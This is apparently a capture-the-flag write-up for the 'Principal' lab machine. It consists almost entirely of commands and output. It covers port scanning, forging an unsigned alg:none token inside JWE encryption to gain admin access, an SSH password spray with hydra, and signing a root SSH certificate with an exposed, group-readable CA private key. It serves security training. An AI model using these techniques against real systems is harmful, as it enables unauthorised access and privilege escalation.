Principal: JWE Signature Bypass to Root

$ nmap -p- --min-rate 5000 -sS principal.htb
$ nmap -sC -sV -A -oN nmap_report.txt principal.htb

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu
8080/tcp open  http     Jetty (Spring Boot app)

$ curl -s http://principal.htb:8080/api/auth/jwks | jq

# unauthenticated:
# /api/auth/jwks   /api/dashboard   /api/users   /api/settings

$ python3
>>> import time, json, base64
>>> from jwcrypto import jwk, jwe
>>> from jwcrypto.common import json_encode
>>>
>>> public_key = jwk.JWK.from_json(open("jwks_key.json").read())
>>> header = base64.urlsafe_b64encode(b'{"alg":"none"}').rstrip(b'=').decode()
>>> payload = {"sub": "attacker", "role": "ROLE_ADMIN",
...            "iss": "principal-platform",
...            "iat": int(time.time()), "exp": int(time.time()) + 3600}
>>> body = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
>>> unsigned_jwt = f"{header}.{body}."
>>>
>>> protected_header = {"alg": "RSA-OAEP-256", "enc": "A256GCM"}
>>> E = jwe.JWE(unsigned_jwt.encode(), recipient=public_key,
...             protected=json_encode(protected_header))
>>> print(E.serialize(compact=True))

> sessionStorage.setItem("auth_token", "<forged_token>");

# dashboard reload → authenticated as ROLE_ADMIN, no password used

$ hydra -L users.txt -p '[REDACTED]' ssh://principal.htb -t 4

[22][ssh] host: principal.htb   login: svc-deploy   password: [REDACTED]

$ ssh svc-deploy@principal.htb
Password: [REDACTED]

svc-deploy@principal:~$ cat user.txt

svc-deploy@principal:~$ ls -la /opt/principal/ssh/
-rw-r----- 1 root deployers  ca       # CA private key, group-readable
-rw-r--r-- 1 root root       ca.pub

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
TrustedUserCAKeys /opt/principal/ssh/ca.pub
PermitRootLogin prohibit-password

svc-deploy@principal:~$ ssh-keygen -t ed25519 -f root-ssh -N ""
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -I forged-root -n root root-ssh.pub

$ ssh -i root-ssh root@principal.htb

# root shell — no password prompt, certificate trust satisfied

# cat /root/root.txt